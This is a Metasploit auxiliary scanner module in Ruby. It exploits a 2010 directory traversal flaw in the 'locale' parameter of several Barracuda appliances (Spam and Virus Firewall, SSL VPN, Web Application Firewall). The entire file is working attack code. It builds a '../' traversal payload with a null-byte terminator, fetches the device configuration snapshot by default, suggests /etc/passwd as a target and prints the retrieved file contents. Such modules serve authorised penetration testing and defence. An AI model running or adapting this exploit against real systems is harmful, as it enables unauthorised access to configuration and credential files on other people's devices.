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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize
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    super(
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      'Name'           => 'Barracuda Multiple Product "locale" Directory Traversal',
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      'Description'    => %q{
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          This module exploits a directory traversal vulnerability present in
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        several Barracuda products, including the Barracuda Spam and Virus Firewall,
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        Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
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        this module will attempt to download the Barracuda configuration file.
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      },
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      'References'     =>
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        [
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          ['OSVDB', '68301'],
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          ['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],
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          ['EDB', '15130']
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        ],
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      'Author'         =>
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        [
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          'Tiago Ferreira <tiago.ccna[at]gmail.com>'
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        ],
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      'DisclosureDate' => 'Oct 08 2010',
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      'License'        =>  MSF_LICENSE
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    )
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    register_options(
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      [
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        Opt::RPORT(8000),
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        OptString.new('FILE', [ true,  "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
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        OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
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      ])
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  end
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  def run_host(ip)
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    uri = normalize_uri(target_uri.path)
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    file = datastore['FILE']
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    payload = "?locale=/../../../../../../..#{file}%00"
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    print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")
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    res = send_request_raw(
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      {
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        'method'  => 'GET',
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        'uri'     => uri + payload,
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      }, 25)
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    if res.nil?
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      print_error("#{full_uri} - Connection timed out")
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      return
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    end
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    if (res.code == 200 and res.body)
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      if res.body.match(/\<html\>(.*)\<\/html\>/im)
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        html = $1
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        if res.body =~ /barracuda\.css/
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          if html.length > 100
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            file_data = html.gsub(%r{</?[^>]+?>}, '')
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            print_good("#{full_uri} - Barracuda - Vulnerable")
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            print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")
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          else
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            print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")
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          end
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        elsif res.body =~ /help_page/
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          print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")
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        else
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          print_error("#{full_uri} - Barracuda - File not found or permission denied")
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        end
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      else
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        print_error("#{full_uri} - Barracuda - No HTML was returned")
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      end
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    else
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      print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")
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    end
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  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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  rescue ::Timeout::Error, ::Errno::EPIPE
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  end
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end
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